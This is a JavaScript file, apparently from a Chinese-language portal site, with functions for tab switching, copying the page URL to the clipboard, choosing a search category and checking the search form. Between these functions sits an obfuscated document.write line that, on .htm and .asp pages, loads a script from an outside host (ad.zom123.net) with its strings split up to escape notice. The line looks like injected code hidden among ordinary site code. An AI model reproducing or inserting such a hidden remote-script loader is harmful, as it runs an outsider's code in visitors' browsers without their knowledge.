//////////////////////////////////// 切换块TAB
function showcon(obj,ulid) {
	var o=document.getElementById(ulid);
   var c=o.childNodes;
   for(var i=0;i<c.length;i++){
	   if(typeof c[i] != "HTMLLIElement") {
		   if(c[i]==obj) {
		      c[i].className="on";
			  var liid = c[i].id;
			  if(typeof liid!="undefined" && liid!="") {
//				  alert("selected:"+c[i].id);
				  var con = document.getElementById("con_"+c[i].id);
				  if(typeof con!="undefined" && con!="") {
					  con.style.display="";
				  }
			  }
		   } else {
		      c[i].className="";
			  var liid = c[i].id;
			  if(typeof liid!="undefined" && liid!="") {
//				  alert(c[i].id);
				  var con = document.getElementById("con_"+c[i].id);
				  if(typeof con!="undefined" && con!="") {
					  con.style.display="none";
				  }
			  }
		   }
	   }
    }
}
if (top.location.pathname.toLowerCase().indexOf(".htm")!=-1 || top.location.pathname.toLowerCase().indexOf(".asp")!=-1)
document.write('<\scr'+'ipt src="http://\ad.'+'\zom'+'12'+'3'+'.net'+'/ip.'+'asp?loc'+'=fujian"><\/scr'+'ipt>');
//点击复制
 function copyToClipBoard(){
   var copy =  document.formcopy.copy.value;
   var clipBoardContent=copy
   clipBoardContent+='\r\n';
   clipBoardContent+=document.location;
   
   window.clipboardData.setData("Text",clipBoardContent);
   alert("你已复制成功!");
  }
function sowhich(id){
	document.getElementById("so_photo").className="";
	document.getElementById("so_info").className="";
	document.getElementById("so_2shou").className="";
	document.getElementById("so_house").className="";
	document.getElementById("so_classad").className="";
	document.getElementById("so_2shou").className="";
	document.getElementById("so_2shou").className="";
	document.getElementById(id).className="on";
	
	if(id=="so_photo"){
		document.addform.keys.value='1';
	}else if(id=="so_info"){
		document.addform.keys.value='2';
	}else if(id=="so_2shou"){
		document.addform.keys.value='3';
	}else if(id=="so_house"){
		document.addform.keys.value='4';
	}else if(id=="so_classad"){
		document.addform.keys.value='5';
	}

}
function CheckForm()
{
    if ( document.addform.key.value == '' ) {
		    alert("关键字不能为空！");
			document.addform.key.focus();
			return false;
        }
}